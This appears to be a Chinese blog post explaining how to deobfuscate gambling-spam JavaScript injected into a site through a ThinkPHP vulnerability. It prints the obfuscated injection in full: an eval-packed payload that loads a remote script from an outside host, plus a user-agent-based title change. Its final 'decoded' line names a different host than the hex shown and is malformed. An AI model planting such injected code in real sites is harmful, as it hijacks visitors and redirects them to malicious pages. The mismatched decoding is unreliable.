前几天,用了tp的框架,后来tp被爆出了漏洞,导致网站被植入了时式彩代码。通过百度搜索进入的用户,直接跳转到这个网站里。今天教给大家怎么解密这种采用eval加密的js代码。
恶意代码源码是这样的:
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="关键词1,关键词
2,关键词3-"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt
(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e
(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\e\\c\\1\\l\\i\\8\\n\\0"]["\\7\\4\\9\
\0\\8"](\'\\g\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\d\\6\\0\\8\\r\\0\\5\\f\\a\\s\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\
\1\\d\\6\\o\\0\\0\\3\\2\\p\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\j\\b\\1\\c\\i\\5\\q\\j\\b\\f\\2\\6\\h\\g\\5\
\2\\1\\4\\9\\3\\0\\h\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|
x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))
</script>
打开谷歌或者火狐浏览器,然后按 F12,打开console一栏,接着把这代码复制进去,
最后,去掉开头 4 个字母 eval 然后回车运行下就得到源码了。
此时,得到了这个代码:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x70\x64\x61\x73\x38\x2e\x63\x6f\x6d\x2f\x6b\x38\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
这是一段通过16进制编码的script病毒,然后我们还需要继续解码:
可以通过alert来解密,例如把上面第一段的粗体字代码解密:
<script language="javascript">alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");</script>
将此复制到文本文档,更改后缀保存为html格式,然后用浏览器运行就可以得出。
再复制后面的未解密代码到html里面,依次解密,解密后的代码为:
<script type="text/javascript">eval"window["document"]["write"]('<script type="text/javascript" src="https://www.baidu.com"></script>');"</script>
或者进入此网址:https://www.mokuge.com/tool/js_x16/
输入\x77\x72\x69\x74\x65,这种16进制代码进行转义就行。